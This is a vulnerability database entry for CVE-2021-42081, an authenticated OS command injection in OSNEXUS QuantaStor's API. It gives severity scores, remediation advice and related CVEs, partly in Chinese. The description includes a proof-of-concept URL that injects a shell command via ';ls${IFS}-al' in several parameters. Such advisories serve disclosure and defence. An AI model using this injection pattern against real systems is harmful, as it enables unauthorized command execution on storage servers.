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CVE-2021-42081— Authenticated Remote Command Execution vulnerability in OSNEXUS QuantaStor before 6.0.0.355

Quick assessment

Affected
OSNEXUS QuantaStor
Exploitation
No confirmed in-the-wild exploitation; assess based on exposure
Recommended action
Check the vendor advisory and references for a fixed version. If immediate upgrade is impossible, restrict exposure and increase monitoring.

OSNEXUS QuantaStor是美国OSNEXUS公司的一个统一的软件定义存储平台。 OSNEXUS QuantaStor 6.0.0.355之前版本存在安全漏洞。攻击者利用该漏洞通过API远程执行任意shell命令。

CVSS 9.1 · Critical EPSS 1.23% · P66

Possible ATT&CK Techniques 1 AI

T1190 · Exploit Public-Facing Application
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I. Basic Information for CVE-2021-42081

Vulnerability Information
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Vulnerability Title
Authenticated Remote Command Execution vulnerability in OSNEXUS QuantaStor before 6.0.0.355
Source: CVE Program / CVE List V5
Vulnerability Description
An authenticated administrator is allowed to remotely execute arbitrary shell commands via the API. POC http://<IP_ADDRESS>/qstorapi/storageSystemModify?storageSystem=&newName=quantastor&newDescription=;ls${IFS}-al&newLocation=4&newEnclosureLayoutId=5&newDnsServerList=;ls${IFS}-al&externalHostName=&newNTPServerList=;ls${IFS}-al
Source: CVE Program / CVE List V5
CVSS Information
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Source: CVE Program / CVE List V5
Vulnerability Type
OS命令中使用的特殊元素转义处理不恰当(OS命令注入)
Source: CVE Program / CVE List V5
Vulnerability Title
OSNEXUS QuantaStor 操作系统命令注入漏洞
Source: CNNVD (China National Vulnerability Database)
Vulnerability Description
OSNEXUS QuantaStor是美国OSNEXUS公司的一个统一的软件定义存储平台。 OSNEXUS QuantaStor 6.0.0.355之前版本存在安全漏洞。攻击者利用该漏洞通过API远程执行任意shell命令。
Source: CNNVD (China National Vulnerability Database)
CVSS Information
N/A
Source: CNNVD (China National Vulnerability Database)
Vulnerability Type
N/A
Source: CNNVD (China National Vulnerability Database)

Affected Products

Vendor Product Affected Versions CPE Subscribe
OSNEXUS QuantaStor 0 ~ 6.0.0.355 -

II. Public POCs for CVE-2021-42081

# POC Description Source Link Shenlong Link
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III. Intelligence Information for CVE-2021-42081

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Other References for CVE-2021-42081 (5)

Same Patch Batch · OSNEXUS · 2023-07-10 · 6 CVEs total

CVE-2021-4406 9.1 CRITICAL Authenticated Remote COmmand Execution as root in OSNEXUS QuantaStor version 6.0.0.355 and
CVE-2021-42083 8.7 HIGH Authenticated Stored XSS in OSNEXUS QuantaStor 6.0.0.335
CVE-2021-42082 7.8 HIGH Local Privilege Escalation to root in OSNEXUS QuantaStor before 6.0.0.355
CVE-2021-42080 7.4 HIGH Reflected XSS vulnerability in OSNEXUS QuantaStor before 6.0.0.355
CVE-2021-42079 6.2 MEDIUM SSRF vulnerability in OSNEXUS QuantaStor before 6.0.0.355

IV. Related Vulnerabilities

Same product: QuantaStor
Same vendor: OSNEXUS
Same weakness: CWE-78

V. Comments for CVE-2021-42081

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